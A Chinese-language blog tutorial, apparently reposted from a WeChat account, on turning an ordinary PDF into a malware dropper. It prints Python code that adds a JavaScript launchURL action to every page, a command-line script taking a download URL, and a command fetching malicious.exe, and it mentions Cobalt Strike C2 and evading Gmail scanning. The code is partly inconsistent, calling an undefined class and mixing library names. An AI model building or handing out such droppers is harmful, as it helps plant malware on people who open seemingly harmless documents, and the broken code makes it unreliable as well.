将恶意代码注入 PDF 文件并创建 PDF 植入器
介绍
PDF 文件通常被大多数人视为静态文档。然而,PDF 标准允许在文档中执行 JavaScript 代码。此功能提供了各种可用于红队测试和网络安全研究的攻击向量。在本文中,我们将研究如何将 JavaScript 注入 PDF 文件,以便从特定 URL 下载文件,并使用此方法建立命令与控制 (C2) 连接。
要使用的工具和方法
在本文中,我们将使用以下工具注入恶意代码并创建 PDF 植入器:
- Python:创建和操作 PDF 文件。
- fpdf2 库:向 PDF 文件添加 JavaScript。
- 用于 C2 连接的 Cobalt Strike Payload:如果您愿意,可以使用其他 C2 或 RAT。
将 JavaScript 添加到 PDF 文件
JavaScript 可以在 PDF 文件中用于各种用途。然而,与 HTML 和网页中的 JavaScript 相比,PDF 文件中 JavaScript 的功能更为有限。出于安全考虑,浏览器和 PDF 查看器会限制 PDF 中 JavaScript 的访问范围。尽管如此,我们仍然可以在这些限制范围内执行某些操作。
创建 PDF Dropper
要将恶意代码添加到 PDF 文件并从特定 URL 下载文件,我们可以按照以下步骤操作:
步骤1:安装所需的Python库
首先,我们需要安装所需的 Python 库。fpdf2 库是用于创建和操作 PDF 文件的。
pip install fpdf2
步骤 2:向 PDF 添加 JavaScript 代码
以下 Python 代码允许您将 JavaScript 添加到 PDF 文件以从特定 URL 下载文件。
adobecodeinject.py
from core import *from core.imp import *class AdobeCodeInject(): def __init__(self, target_url: str) -> None: self.target_url = target_url def _make_action(self) -> DictionaryObject: js_code = f"""try {{ app.launchURL('{self.target_url}', true);}} catch (e) {{ app.alert('Error: ' + e.message);}}""" return DictionaryObject({ NameObject("/S"): NameObject("/JavaScript"), NameObject("/JS"): TextStringObject(js_code), }) def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject: annot = DictionaryObject({ NameObject("/Type"): NameObject("/Annot"), NameObject("/Subtype"): NameObject("/Widget"), NameObject("/Rect"): rect, NameObject("/FT"): NameObject("/Btn"), NameObject("/T"): TextStringObject("Open URL"), NameObject("/Ff"): NumberObject(4), NameObject("/A"): action, }) return annot def exploit(self, pdf: Pdf): action = self._make_action() for p in pdf.pages: arct = p.artbox if not isinstance(arct, RectangleObject): arct = p.mediabox if not isinstance(arct, RectangleObject): arct = p.bleedbox print(f"{p.page_number} use arct: {arct}") annot = self._make_annot(arct, pdf.add_object(action)) pdf.add_annotation(p, annot)
主程序
#! ./.venv/bin/python3import argparseimport sysimport ossys.path.append(os.path.dirname(os.path.abspath(__file__)))from core import Pdffrom adobecodeinject import AdobeCodeInjectdef run(): parser = argparse.ArgumentParser(prog='pdf-exploit') parser.add_argument("-f", help="the harmless pdf path", required=True) parser.add_argument("-p", help="password", required=False) parser.add_argument("-o", help="the new pdf file", required=True) chrome_group = parser.add_argument_group( title="chrome", description="Chrome PDF exploit using JavaScript") chrome_group.add_argument("-downloadUrl", dest="downloadUrl", required=True) args = parser.parse_args() pdf = Pdf(args.f, args.p) if args.downloadUrl: print(f"[+] use the Chrome PDF exploit: {args.downloadUrl}") exp = ChromePdfExploit(args.downloadUrl) exp.exploit(pdf) print("") print(f"[+] store to {args.o}") pdf.store(args.o)if __name__ == "__main__": run()
创建和测试 PDF 文件
您可以使用以下命令创建 PDF 文件:
python main.py -f original.pdf -o exploit.pdf -downloadUrl http://yourserver/malicious.exe
当你在 Adobe Acrobat 中打开exploited.pdf文件时,它应该会从http://localhost/test.exe下载该文件。此方法对于 Adobe Acrobat 软件尤其有效。
此方法甚至可以使 Gmail 将文件扫描为常规 PDF。
原文始发于微信公众号(7维空间):将恶意代码注入 PDF 文件并创建 PDF Dropper
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论